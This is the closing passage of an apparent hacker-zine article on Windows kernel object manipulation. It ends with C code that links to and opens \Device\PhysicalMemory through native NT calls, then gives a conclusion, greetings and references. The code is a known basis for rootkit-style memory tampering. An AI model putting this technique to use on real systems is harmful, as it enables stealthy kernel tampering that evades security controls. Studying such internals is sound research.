                              OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                              NULL,
                              NULL);

   ntS = NtCreateSymbolicLinkObject(&SymLink, SYMBOLIC_LINK_ALL_ACCESS,
                                    &ObAttributes, &ObName);
   if (ntS != STATUS_SUCCESS) {
      printf("error: NtCreateSymbolicLinkObject (code: %x)\n", ntS);
      return(0);
   }

   ntS = NtOpenSection(&Section, SECTION_MAP_READ, &ObAttributes);
   if (ntS != STATUS_SUCCESS)
      printf("error: NtOpenSection (code: %x)\n", ntS);
   else {
      printf("\\Device\\PhysicalMemory opened !!!\n");
      NtClose(Section);
   }
   // now you can do what you want
   getch();

   NtClose(SymLink);
   return(0);
}


--[ 6 - Conclusion

I hope this article helped you to understand the base of Windows kernel
objects manipulation. As far as i know you can do as much things as you can
with linux's /dev/kmem so there is no restriction except your imagination
:).
I also hope that this article will be readen by Linux dudes.

Thankx to CNS, u-n-f and subk dudes, ELiCZ for some help and finally
syn/ack oldschool people (wilmi power) =]


--[ 7 - References

[1] Sysinternals - www.sysinternals.com
[2] Microsoft DDK - www.microsoft.com/DDK/
[3] unofficial ntifs.h - www.insidewindows.info
[4] www.chapeaux-noirs.org/win/
[5] Intel IA-32 Software Developper manual - developer.intel.com
[6] Pedestal Software - www.pedestalsoftware.com
[7] BindView's RAZOR - razor.bindview.com
[8] Open Systems Resources - www.osr.com
[9] MSDN - msdn.microsoft.com

books:
  * Undocumented Windows 2000 Secrets, A Programmer's Cookbook
    (http://www.orgon.com/w2k_internals/)
  * Inside Microsoft Windows 2000, Third Edition
    (http://www.microsoft.com/mspress/books/4354.asp)
  * Windows NT/2000 Native API Reference

|=[ EOF ]=---------------------------------------------------------------=|

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